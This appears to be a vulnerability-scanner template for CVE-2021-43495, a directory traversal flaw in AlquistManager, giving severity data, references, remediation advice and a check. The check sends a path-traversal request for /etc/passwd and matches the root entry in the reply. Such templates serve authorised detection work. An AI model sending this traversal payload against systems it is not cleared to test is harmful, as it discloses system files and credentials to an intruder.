AlquistManager branch as of commit 280d99f43b11378212652e75f6f3159cde9c1d36 is affected by a directory traversal vulnerability in alquist/IO/input.py. This attack can cause the disclosure of critical secrets stored anywhere on the system and can significantly aid in getting remote code access.
id: CVE-2021-43495
info:
name: AlquistManager Local File Inclusion
author: pikpikcu
severity: high
description: AlquistManager branch as of commit 280d99f43b11378212652e75f6f3159cde9c1d36 is affected by a directory traversal vulnerability in alquist/IO/input.py. This attack can cause the disclosure of critical secrets stored anywhere on the system and can significantly aid in getting remote code access.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information or remote code execution.
remediation: |
Ensure that user-supplied input is properly validated and sanitized before being used in file inclusion functions.
reference:
- https://github.com/AlquistManager/alquist/issues/43
- https://nvd.nist.gov/vuln/detail/CVE-2021-43495
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-43495
cwe-id: CWE-22
epss-score: 0.09193
epss-percentile: 0.95214
cpe: cpe:2.3:a:alquistai:alquist:2017-06-13:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: alquistai
product: alquist
tags: cve2021,cve,lfi,alquist,alquistai,vuln
http:
- method: GET
path:
- "{{BaseURL}}/asd/../../../../../../../../etc/passwd"
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
# digest: 4a0a00473045022100d306cf1fd8c171df5820c30e3a4efe4856f529b55f320eaba0d1c90db96c844902205b6a0cc52f64ee16d0f2ddbde72d743431caba9714ca29c7ae933cb087c20682:922c64590222798bb761d5b6d8e72950
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